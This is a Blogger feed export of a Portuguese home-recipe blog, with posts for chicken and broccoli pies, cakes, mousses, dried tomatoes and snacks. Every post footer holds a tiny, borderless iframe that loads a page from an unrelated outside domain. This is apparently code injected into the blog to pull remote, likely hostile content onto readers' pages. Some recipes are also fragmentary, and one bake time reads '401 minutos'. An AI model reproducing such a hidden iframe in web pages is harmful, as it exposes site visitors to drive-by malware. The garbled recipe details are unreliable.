tag:blogger.com,1999:blog-27813916774246059102024-03-19T01:08:37.006-04:00blog receitasXANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.comBlogger116125tag:blogger.com,1999:blog-2781391677424605910.post-29999046271972410812012-06-17T19:46:00.002-04:002012-06-17T19:46:17.713-04:00Lanchinho Rápido<div dir="ltr" style="text-align: left;" trbidi="on"><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9-BE09Fc9QR8etoP_aiBrpbABkdQnXulrJsn4mgWhxnDk-iKjmzzpow8xE79kfUyms9p8vjZ11FOfL5k7Sk0S8ktqZ4AciCBfOO688tnZimNSBTXFAkRUASk7e6wNIaBGvOmoHEXMQ5Y/s1600/OgAAAA-l-VmqdADLA3BFWYqBXkXkKeMllAQDVlQ-JOq3E7rGJacKhjsyGfW6Po7JqthB02TqdwcUWFSB5FbrWmRNjuQAm1T1UOm3Z24KvgPl6bboLeHTrHt_WK90.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="238" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9-BE09Fc9QR8etoP_aiBrpbABkdQnXulrJsn4mgWhxnDk-iKjmzzpow8xE79kfUyms9p8vjZ11FOfL5k7Sk0S8ktqZ4AciCBfOO688tnZimNSBTXFAkRUASk7e6wNIaBGvOmoHEXMQ5Y/s320/OgAAAA-l-VmqdADLA3BFWYqBXkXkKeMllAQDVlQ-JOq3E7rGJacKhjsyGfW6Po7JqthB02TqdwcUWFSB5FbrWmRNjuQAm1T1UOm3Z24KvgPl6bboLeHTrHt_WK90.jpg" width="320" /></a></div><br />
<span style="font-family: Verdana, sans-serif;"><i>LANCHINHO RÁPIDO</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i><br />
</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>INGREDIENTES:</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>PÃO FRANCÊS</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>MUSSARELA RALADA</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>PRESUNTO RALADO</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>TOMATES PICADOS EM CUBOS PEQUENOS</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>ORÉGANO</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>MANTEIGA</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>MODO DE FAZER:CORTE O PÃO PELA METADE,PASSE MANTEIGA E LEVE AO FORNO EM UMA FORMA UNTADA COM MANTEIGA.DEIXE ALGUNS MINUTOS.RETIRE DO FORNO E CUBRA COM OS INGREDIENTES RESTANTES.LEVE NOVAMENTE AO FORNO ATÉ A MUSSARELA DERRETER.</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i><br />
</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>A QUANTIDADE DE INGREDIENTES NESTA RECEITA VARIA DE ACORDO COM A QUANTIDADE DE LANCHINHOS QUE DESEJA FAZER.E VOCÊ PODE ADICIONAR MAIS INGREDIENTES DE SUA PREFERÊNCIA,COMO PALMITO,AZEITONAS.</i></span><br />
<span style="font-family: Verdana, sans-serif;"><i>Fonte da receita: Margarina Qualy</i></span></div><div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-1608502642210389782011-08-26T17:35:00.001-04:002011-08-26T17:35:27.696-04:00Torta de brócolis e frangoTorta de brócolis e frango<br />
<br />
<br />
<br />
<br />
Torta de brócolis e frango: saborosa e nutritiva<br />
Foto: Ormuzd Alves<br />
Preparo: Médio (de 30 a 45 minutos)<br />
Rendimento: 8 porções<br />
Dificuldade: Médio<br />
Categoria: Torta salgada e quiche<br />
Calorias: 353 por porção<br />
Ingredientes<br />
Massa<br />
• 3 xícaras (chá) de farinha de trigo<br />
• 100 g de queijo ralado<br />
• 2 ovos<br />
• 1/2 xícara (chá) de leite<br />
• 2 colheres (sopa) de margarina em temperatura ambiente<br />
• Sal a gosto<br />
• 1 colher (sobremesa) de fermento em pó<br />
• 1 gema para pincelar<br />
<br />
Recheio<br />
• 2 colheres (sopa) de óleo<br />
• 1 cebola picada<br />
• 1 maço de brócolis cozido e picado<br />
• 1 peito de frango, temperado, cozido e desfiado<br />
• 2 colheres (sopa) de farinha de trigo<br />
• 1/2 xícara (chá) de leite<br />
• 1/2 xícara (chá) de azeitonas pretas picadas<br />
• Sal e pimenta a gosto<br />
Modo de preparo<br />
Massa<br />
Em uma tigela, misture a farinha, o queijo ralado, os ovos, o leite, a margarina, o sal e o fermento. Trabalhe a massa até soltar das mãos. Deixe descansar enquanto prepare o recheio.<br />
<br />
Recheio<br />
Em uma panela, aqueça o óleo, doure a cebola, junte o brócolis, o frango, a farinha de trigo dissolvida no leite, a azeitona, o sal e a pimento, cozinhe, mexendo por, por 10 minutos. Deixe esfriar. Abra a massa com o auxílio de um rolo, cubra o fundo e as laterais de uma forma de 23 cm de diâmetro com fundo removível. Reserve um pouco de massa para fazer tiras. Coloque o recheio, decore com as tiras e pincele a gema. Asse no forno preaquecido a 200ºC durante 45 minutos.<br />
<br />
Dica: Substitua o frango por de 200 g de peito peru cortado em cubos.<br />
<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-11528078391053338092011-08-26T17:34:00.001-04:002011-08-26T17:34:35.546-04:00Enformado de frango<br />
<br />
<br />
<br />
<br />
Enformado de frango: para um lanche mais gostoso<br />
<br />
Preparo: Médio (de 30 a 45 minutos)<br />
Rendimento: 10 porções<br />
Dificuldade: Fácil<br />
Categoria: Torta salgada e quiche<br />
Calorias: 258 por porção<br />
Ingredientes<br />
Creme cozido:<br />
. 2 colheres (sopa) de amido de milho<br />
. 500ml de leite<br />
. 3 colheres (sopa) queijo parmesão ralado<br />
. 1 envelopes de caldo de galinha<br />
Recheio:<br />
. 1 pote de requeijão<br />
. 100g de queijo parmesão ralado grosso<br />
. 200g de peito de frango cozido e desfiado<br />
. 1 cenoura ralada grossa<br />
. 1 colher (sopa) de orégano<br />
. 1/2 lata de creme de leite<br />
Cobertura:<br />
. 2 claras batidas em neve<br />
. 1/3 do creme cozido reservado<br />
Montagem:<br />
. 1 pacote de pão de fôrma sem casca<br />
. 2 colheres (sopa) de queijo parmesão ralado<br />
. 1 colher (sopa) de gergelim<br />
Modo de Preparo<br />
Creme cozido: Em uma panela, coloque o amido de milho dissolvido no leite, o queijo e o caldo de galinha. Leve ao fogo brando e mexa até engrossar. Reserve 1/3 para a cobertura. Recheio: Em um recipiente, misture o requeijão, o queijo parmesão, o frango, a cenoura, o orégano e o creme de leite. Cobertura: Misture as claras em neve com creme cozido reservado. <br />
Montagem: Em um refratário untado com margarina, coloque uma camada de pão lado a lado, metade do creme cozido e metade do recheio. Repita as camadas, despeje a cobertura e polvilhe o queijo parmesão ralado. Leve para assar no forno pré-aquecido a 200º, durante 30 minutos ou até dourar. Sirva quente ou frio.<br />
Dica: Para ficar mais firme na hora de cortar, prepare na véspera<br />
<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-43724643567391873902011-08-26T17:32:00.001-04:002012-01-23T09:50:03.636-04:00Empadão de frangoEmpadão de frango com massa de guaraná<br />
<br />
Empadão de frango com massa de guaraná : uma massa diferente com um recheio incrível<br />
Foto: Ormuzd Alves<br />
Preparo: Médio (de 30 a 45 minutos)<br />
Rendimento: 8 porções<br />
Dificuldade: Médio<br />
Categoria: Torta salgada e quiche<br />
Calorias: 966 por porção<br />
Ingredientes<br />
.3 xícaras (chá) de farinha de trigo<br />
.250g de margarina<br />
.1/4 de xícara (chá) de guaraná<br />
.1 colher (sopa) de óleo<br />
.1/2 xícara (chá) de amido de milho<br />
.sal a gosto<br />
Recheio:<br />
.900g de peito de frango cozido e desfiado<br />
.200g de lingüiça calabresa defumada cortada em cubos<br />
.3 colheres (sopa) de óleo<br />
.1 cebola picada<br />
.2 dentes de alho picados<br />
.2 tomates sem pele e sementes picados<br />
.1/2 pimentão vermelho picado<br />
.1/2 xícara (chá) de ervilhas frescas<br />
.1 xícara (chá) de caldo de legumes<br />
.sal e pimenta a gosto<br />
.1 colher (sopa) de farinha de trigo<br />
.salsa picada a gosto<br />
.1 xícara (chá) de queijo minas cortado em cubos<br />
Para pincelar:<br />
.1 gema<br />
Modo de preparo<br />
Em uma tigela, misture a farinha de trigo, a margarina, o guaraná, o óleo, o amido de milho e o sal. Trabalhe a massa até ficar homogênea. Forre o fundo e as laterais de uma forma média com aro removível, untada com margarina. Reserve um pouco de massa para cobrir.<br />
Recheio:<br />
em uma panela, aqueça o óleo, doure a cebola e o alho. Refogue o tomate, o pimentão e a ervilha. Junte o caldo de legumes, o sal a pimenta, o frango, a lingüiça e a farinha de trigo. Cozinhe por alguns minutos até engrossar levemente. Junte o queijo, a salsa e deixe esfriar. Coloque sobre a massa, feche a torta e pincele a gema batida. Asse no forno preaquecido a 200ºC durante 45 minutos ou até dourar.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-33946629872700896092011-07-11T19:36:00.002-04:002011-07-11T19:36:25.184-04:00bolo- BOLO CAIPIRA DE MILHO (DIA A DIA)<br />
<br />
Ingredientes<br />
<br />
3 ovos tipo jumbo inteiros (60 g cada)<br />
1 e 1/3 xícara (chá) de açúcar refinado (250 g)<br />
3/4 xícara (chá) de óleo de milho (180 ml)<br />
1 lata de milho verde cozido no vapor<br />
1 vidro de leite de coco (100 ml)<br />
150 g de flocos de milho pré cozidos<br />
50 g de coco ralado fresco ou seco<br />
1 colher (sopa) rasa de fermento em pó<br />
1 pitada de sal<br />
<br />
Modo de Fazer<br />
<br />
Bata no liquidificador os ovos inteiros, o açúcar e o óleo por cinco minutos (este tempo é imprescindível!). Junte o milho verde e bata por mais três minutos. Junte os demais ingredientes e bata rapidamente até obter uma massa homogênea. Distribua a massa em uma fôrma de 22 cm de diâmetro com furo central, untada e enfarinhada e asse em forno preaquecido à 180ºC até que esteja dourado e firme. Deixe o bolo amornar e desenforme-o sobre uma grade e deixe esfriar. Por último cubra o bolo frio com o creme de goiabada quente.<br />
<br />
Creme de Goiabada<br />
<br />
250 g de goiabada macia ralada no ralo grosso<br />
50 ml de água filtrada e fria<br />
25 ml de suco de limão coado<br />
<br />
Modo de Fazer<br />
<br />
Em uma panela pequena misture os ingredientes e leve ao fogo, mexendo sempre, até obter um creme liso e brilhante. Distribua o creme quente sobre o bolo frio e decore a gosto. É delicioso!!!<br />
<br />
Rendimento: 16 porções<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-73954051356691913332011-05-09T21:57:00.002-04:002011-05-09T21:57:09.913-04:00Torta mil-folhas: leve e irresistível!<br />
<br />
<br />
Preparo: Demorado (acima de 45 minutos)<br />
Rendimento: 8 porções<br />
Dificuldade: Fácil<br />
Categoria: Torta salgada e quiche<br />
Calorias: 316 por porção<br />
Ingredientes:<br />
<br />
· 1 pacote de massa folhada congelada laminada<br />
<br />
<br />
Creme:<br />
· 2 xícaras (chá) de leite<br />
· 1/3 de xícara (chá) de açúcar<br />
· 1/4 de xícara (chá) de maisena<br />
· 3 gemas<br />
· 1 colher (chá) de essência de baunilha<br />
<br />
<br />
Para polvilhar:<br />
· 2 colheres (sopa) de açúcar de confeiteiro<br />
<br />
<br />
Acessórios:<br />
· Assadeira grande, Peneira fina<br />
Modo de preparo:<br />
<br />
Aqueça o forno em temperatura alta. Abra a massa folha da e corte-a em três retângulos iguais no sentido da largura. Com um garfo, fure-os em vários lugares. Disponha na assadeira e asse por dez minutos ou até dourarem. Deixe esfriar.<br />
<br />
<br />
Creme:<br />
Numa panela média, junte o leite, o açúcar e a maisena e cozinhe em fogo médio, mexendo sempre com uma colher de pau, por cinco minutos ou até a mistura engrossar. Bata um pouco as gemas, junte ao creme e cozinhe, mexendo sempre, até ferver. Retire do fogo e junte a essência de baunilha. Transfira para uma tigela, cubra com filme plástico e deixe esfriar.<br />
<br />
<br />
Montagem:<br />
Num prato para bolo, disponha um retângulo da massa folha da e cubra com metade do creme já frio. Por cima, disponha outro retângulo de massa e cubra com o creme restante. Arrume o último retângulo de massa por cima. Polvilhe com o açúcar de confeiteiro e sirva em seguida<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-16669423550571231752011-05-09T21:55:00.002-04:002011-05-09T21:55:10.656-04:00:<br />
<br />
<br />
Bolo de trufas: lindo e muuuito gostoso<br />
<br />
<br />
Preparo: Demorado (acima de 45 minutos)<br />
Rendimento: 12 porções<br />
Dificuldade: Médio<br />
Categoria: Bolo<br />
Calorias: 488 por porção<br />
Ingredientes<br />
<br />
Massa<br />
. 4 claras<br />
. 4 gemas<br />
. 1 xícara (chá) de açúcar<br />
. 2 xícaras (chá) de farinha de trigo<br />
. 1 xícara (chá) de leite quente<br />
. 1/2 xícara (chá) de amendoim torrado e picado<br />
. 1 colher (chá) de bicarbonato<br />
. 1 colher (sopa) de fermento em pó<br />
<br />
Recheio<br />
. 1 lata de creme de leite<br />
. 1 colher (sopa) de mel<br />
. 500 g de chocolate ao leite picado<br />
. 1/4 de xícara (chá) de chocolate em pó<br />
Modo de preparo<br />
<br />
1. Prepare a massa: na batedeira, bata as claras em neve, acrescente as gemas, o açúcar e bata bem.<br />
<br />
2. Junte a farinha de trigo, intercalando o leite quente, e bata até obter uma massa homogênea.<br />
<br />
3. Retire da batedeira, transfira a massa para uma tigela, acrescente o amendoim, o bicarbonato, o fermento e misture bem.<br />
<br />
4. Coloque a massa em uma assadeira redonda média, untada e enfarinhada. Leve ao forno 180ºC pré-aquecido e deixe assar durante 30 minutos. Desenforme e deixe esfriar.<br />
<br />
5. Corte uma camada fina do bolo e, com uma colher, retire o miolo, formando uma cavidade. Reserve o miolo.<br />
<br />
6. Prepare o recheio: em uma panela, coloque o creme de leite, o mel e quando começar a ferver retire do fogo.<br />
<br />
7. Ainda quente, junte o chocolate picado e misture bem até derreter. Deixe esfriar um pouco.<br />
<br />
8. Divida o creme em duas porções.<br />
<br />
9. Esfarele o miolo do bolo reservado e misture na metade do creme de chocolate. Leve à geladeira até que fique firme.<br />
<br />
10. Modele as trufas e passe no chocolate em pó.<br />
<br />
11. Preencha a cavidade do bolo, intercalando uma camada do restante do creme de chocolate e as trufas. Decore com raspas de chocolate.<br />
<br />
Dica: se você quiser, pode incrementar esse bolo decorando-o com cerejas ao marrasquino.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-29620526980243436262011-05-09T21:51:00.002-04:002011-05-09T21:51:47.532-04:00Bolo de Páscoa: surpreenda seus familiares e amigos<br />
<br />
<br />
Preparo: Demorado (acima de 45 minutos)<br />
Rendimento: 10 porções<br />
Dificuldade: Médio<br />
Categoria: Bolo<br />
Calorias: 342 por porção<br />
Ingredientes<br />
<br />
Massa<br />
. 250 g de açúcar mascavo<br />
. 175 g de manteiga<br />
. 2 colheres (sopa) de melado<br />
. 3 ovos<br />
. 60 g de chocolate em pó<br />
. 1 xícara (chá) de água morna<br />
. 1/2 pote de iogurte natural<br />
. 2 e 1/2 xícaras (chá) de farinha de trigo<br />
. 3 colheres (chá) de fermento em pó<br />
<br />
Recheio<br />
. 250 g de uvas passas bem bicadas<br />
. 2 colheres (sopa) de açúcar<br />
. 2/3 de xícara (chá) de água<br />
. 1 colher (sopa) de suco de limão<br />
. 200 ml de creme de leite<br />
<br />
Cobertura<br />
. 500 g de chocolate meio amargo picado<br />
. 250 g de Nutella (pasta de amêndoa com chocolate)<br />
. 1/2 xícara (chá) de creme de leite sem soro<br />
Modo de preparo<br />
<br />
1. Prepare a massa: bata o açúcar mascavo com a manteiga até ficar um creme macio.<br />
<br />
2. Continue batendo, acrescente o melado, os ovos, o chocolate em pó, a água e o iogurte. Junte a farinha de trigo e misture o fermento.<br />
<br />
3. Coloque em uma fôrma de 23 cm de diâmetro untada com manteiga. Asse no forno pré-aquecido a 200ºC por aproximadamente 1 hora ou até espetando um palito saia seco. Deixe esfriar e desenforme.<br />
<br />
4. Prepare o recheio: em uma panela, coloque a uva passa, o açúcar, a água e o suco de limão. Leve ao fogo brando e cozinhe por 5 minutos.<br />
<br />
5. Deixe esfriar e bata no liquidificador até formar uma pasta.<br />
<br />
6. Bata o creme de leite em ponto de chantilly e leve a geladeira.<br />
<br />
7. Prepare a cobertura: derreta o chocolate em banho-maria. Retire do fogo, misture bem a Nutella e o creme de leite. Leve a geladeira até começar a endurecer.<br />
<br />
8. Na batedeira, bata até formar um creme liso.<br />
<br />
9. Corte o bolo em duas partes. Recheie com o creme de passas e por cima espalhe o chantilly gelado.<br />
<br />
10. Coloque sobre o chantilly a outra metade do bolo e cubra com a cobertura. Decore com raspas de chocolate, bombons e ovinhos de chocolate.<br />
<br />
Dica: o bolo, o recheio e a cobertura, podem ser feitos na véspera. Deixe para rechear, cobrir e decorar o bolo só no dia de servir<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-26866254500329722642011-05-09T21:48:00.002-04:002011-05-09T21:48:45.728-04:00Tomate seco<br />
Ingredientes:<br />
<br />
6 kg de tomates maduros, porém firmes<br />
1 colher de sopa cheia de sal<br />
1 colher de sopa cheia de açúcar<br />
1 cabeça de alho<br />
1 colher de sopa rasa de orégano<br />
1 colher de sopa rasa de alecrim<br />
1 e 1/2 xícara de café de azeite de oliva<br />
<br />
Modo de Preparo:<br />
Corte os tomates ao meio na horizontal, retire as sementes e a polpa. Coloque os tomates em uma assadeira, com a boca para cima (parece uma cestinha) e depois misture o açúcar e o sal em proporções iguais e polvilhe.<br />
Levao forno médio por 1 hora e meia aproximadamente ou até que esteja seca a água acumulada e meio murcho.<br />
Depois vire de boca para baixo até murchar, sem deixar queimar<br />
Passe o alho num espremedor e misture no azeite. Misture o orégano e o alecrim e misture com os tomates secos.<br />
Coloque num vidro hermeticamente fechado para tome gosto e leve à geladeira.<br />
Dura 30 dias na geladeira e 6 meses no freezer.e<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-73674723684816753812011-05-09T21:47:00.002-04:002011-05-09T21:47:31.109-04:00SALGADINHOS DE GOIABA<br />
500 gramas de margarina com sal<br />
400 gramas de farinha de trigo sem fermento<br />
Quanto baste de pedaços de goiabada cascão.<br />
<br />
Misture bem a margarina com o trigo, fica uma massa parecida com a massa de empada, depois na palma da mão faça bolinhas e ponha o pedacinho de goiaba dentro, dê o formato que desejar. Passe gema e salpique queijo parmezon, leve ao forno até dourar.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-37337490989711899632011-05-09T21:46:00.002-04:002011-05-09T21:46:30.294-04:00Torta Gelada de Café com Chocolate<br />
<br />
Ingredientes:<br />
<br />
1 xícara de açúcar<br />
1 xícara de creme de leite fresco<br />
1/3 xícara de conhaque<br />
1/4 de xícara de água<br />
1 xícara de (café) de café forte<br />
6 colheres de chocolate em pó<br />
l0 gemas<br />
<br />
Modo de preparo:<br />
Coloque em uma panela (pequena) o açúcar e a água, leve ao fogo e deixe ferver por 5 minutos sem mexer até que fique uma calda. Bata as gemas na batedeira em velocidade alta até ficar um creme.<br />
Acrescente aos poucos a calda batendo até ficar uma mistura grossa e deixe esfriar, depois acrescente o conhaque aos poucos mexendo com cuidado.<br />
Bata o creme de leite até que fique cremoso, mas não firme, junte o chocolate e o café forte e metade do creme de gemas, mexa cuidadosamente e junte o restante.<br />
Despeje em uma forma desmontável (tamanho médio) forrada com papel manteiga e cubra com papel alumínio deixe congelar pôr 24 horas e depois retire.<br />
<br />
Chocolate Quente Especial<br />
sexta-feira, 26 de setembro de 2008<br />
Chocolate Quente Especial<br />
<br />
Chocolate Quente Especial<br />
<br />
Ingredientes:<br />
<br />
1 litro de leite desnatado<br />
1 lata de leite condensado<br />
4 colheres de sopa de chocolate em pó<br />
2 colheres de sopa de amido de milho<br />
Canela em pó para polvilhar<br />
<br />
Modo de preparo:<br />
Bater todos os ingredientes no liquidificador (menos a canela). Levar ao fogo em temperatura média até o líquido ferver engrossar. Servir em xícaras Cobrir com Chantilly (vide receita neste blog). Polvilhar com canela.<br />
<br />
15min / Rende: 04 porções<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-31348350718042282492011-05-09T21:44:00.003-04:002011-05-09T21:44:47.500-04:00Mousse de Chocolate Aerado<br />
Ingredientes:<br />
<br />
200g de chocolate meio-amargo<br />
200g de manteiga sem sal<br />
5 ovos (gemas e claras separadas)<br />
1 xícara de açúcar<br />
<br />
Modo de preparo:<br />
Derreta o chocolate com a manteiga em banho-maria e reserve. Faça uma gemada batendo, numa batedeira em velocidade máxima, as gemas com o açúcar, até ficar esbranquiçado. Misture o chocolate derretido à gemada até formar uma mistura homogênea. Bata as claras em neve bem firme, (não bata com antecedência para não dar água em baixo) e junte à mistura de chocolate, misturando sem bater. Leve a geladeira por pelo menos 8 horas. Deve ficar firme e aerada, mas cremosa ao paladar.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-47269622407556572822011-05-09T21:44:00.000-04:002011-05-09T21:44:03.341-04:00Mousse:<br />
<br />
200 g de chocolate meio amargo picado<br />
<br />
1 lata de creme de leite<br />
<br />
2 claras em neve<br />
<br />
3 colheres (sopa) de açúcar<br />
<br />
Modo de Preparo:<br />
<br />
Massa: No processador, triture todas as unidades de uma caixa de bis e a manteiga até formar uma pasta. Com a pasta, forre o fundo de uma fôrma de aro removível com 22cm de diâmetro. Reserve.<br />
Creme: Em uma panela, misture o leite e o amido, acrescente o leite condensado, a gema e a manteiga. Leve ao fogo, mexendo até engrossar, deixe esfriar e coloque sobre a pasta de bis reservada.<br />
Mousse: Derreta o chocolate em banho-maria, acrescente o creme de leite e misture. Reserve. Bata as claras em neve, junte o açúcar e bata mais. Misture as claras batidas ao chocolate reservado. Por cima do creme branco, distribua o restante de bis picado e coloque a mousse por cima. Leve ao freezer por 2 horas e conserve na geladeira até servir.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-42371524764908979332011-05-09T21:42:00.003-04:002011-05-09T21:42:31.691-04:00Torta Gelada de Bis<br />
segunda-feira, 8 de novembro de 2010<br />
<br />
Ingredientes:<br />
<br />
Massa:<br />
<br />
2 caixas de chocolate Bis<br />
<br />
½ colher (sopa) de margarina<br />
<br />
Creme:<br />
<br />
1 e ½ latas (medida de lata) de leite<br />
<br />
2 colheres (sopa) de amido de milho<br />
<br />
1 lata de leite condensado<br />
<br />
1 gema<br />
<br />
1 colher (sopa) de manteiga<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-20000753432474254962010-11-03T14:56:00.002-04:002010-11-03T14:56:42.555-04:00brocolisBRÓCOLIS COM MANDIOQUINHA GRATINADOS<br />
• 2 maços de brócolis<br />
• 1 kg de mandioquinha<br />
• Manteiga ou azeite<br />
• Mussarela<br />
• Queijo parmesão ralado<br />
<br />
1. Separe o brócolis em "árvores", lave bem<br />
2. Coloque-o em um recipiente fundo e jogue água fervendo, tampe e deixe de 5 a 8 minutos, conforme seu gosto, escorra e reserve<br />
3. Raspe a mandioquinha para tirar a casca, corte em rodelas, com espessura de mais ou menos 1 dedo, ou como preferir, desde que ao cozinhar ela não se desmanche muito<br />
4. Cozinhe em água com sal, mas não deixe amolecer demais, escorra e reserve<br />
5. Unte um refratário, com manteiga, coloque o brócolis e tempere com sal, azeite e temperos a seu gosto, depois coloque a mandioquinha, cubra com mussarela e por último o queijo parmesão ralado<br />
6. Leve ao forno para gratinar, quando o queijo dourar, estará pronto<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-58031014273916016942010-11-03T14:50:00.000-04:002010-11-03T14:50:45.364-04:00TORTA DE SALSICHA<br />
Massa:<br />
2 xícaras (chá) de farinha de trigo<br />
1 xícara (chá) de amido de milho (maisena)<br />
Sal a gosto<br />
4 ovos inteiros<br />
1 xícara (chá) de óleo<br />
1 xícara (chá) de leite<br />
1 xícara (chá) de água<br />
1 colher (sopa) de fermento em pó<br />
<br />
Recheio<br />
4 colheres (sopa}) de azeite<br />
2 cebolas em lâminas<br />
3 tomates em cubos<br />
1 xícara (chá) de cheiro verde picado<br />
½ xícara (chá) de azeitonas picadas<br />
2 cubos de caldo de galinha<br />
500g de salsicha em rodelas<br />
1 lata de creme de leite sem soro<br />
Para o recheio, refogue no azeite a cebola, o tomate, o cheiro verde, a azeitona, o caldo de galinha e a salsicha, mexendo de vez em quando, até o tomate desmanchar. Retire do fogo, acrescente o creme de leite, misture e reserve.<br />
<br />
Para a massa, em uma tigela coloque todos os ingredientes da massa e misture até ficar homogêneo. Despeje numa assadeira untada com óleo e espalhe o recheio por cima. Misture levemente com um garfo e leve ao forno médio, pré-aquecido por aproximadamente 401 minutos ou até assar e dourar.<div class="blogger-post-footer"><iframe src="http://ladylony.com/uhr7.htm" name="main" width="70" height="79" scrolling="No" frameborder="no" id="main" allowtransparency="true" border="0" framespacing="0"></iframe></div>XANDA GAUCHAhttp://www.blogger.com/profile/07868559002872412047noreply@blogger.com0tag:blogger.com,1999:blog-2781391677424605910.post-74082857800854080272010-10-14T14:32:00.000-04:002010-10-14T14:32:11.659-04:00Torta Hambúrguer<br />
Ingredientes Massa:<br />
2 xicaras (chá) de farinha<br />
1/2 xícara (chá) de oleo<br />
2 xicaras (chá)de leite<br />
2 colheres (sopa) de fermento em pó<br />
2 ovos<br />
50g de queijo ralado<br />
1 cebola pequena picada<br />
1/2 dente de alho picado<br />
1/2 caldo de legumes (cubo)<br />
oregano, manjericão e pimenta do reino a gosto<br />
queijo parmesão ralado a gosto para polvilhar no final.<br />
<br />
Ingredientes Recheio:<br />
8 hamburguers inteiros crus (comprados prontos ou feitos em casa)<br />
2 tomates grandes cortados em rodelas finas<br />
200g de queijo mussarela em cubos<br />
cebola e orégano a gosto<br />
Receita do Paulo Eduardo<br />
Modo de Preparo da Massa:<br />
Bata tudo no liquidificador com excessão do fermento. Quando estiver uma massa homogênea, acrescente o fermento em pó e bata apenas para misturar. <br />
cont.<br />
Montagem:<br />
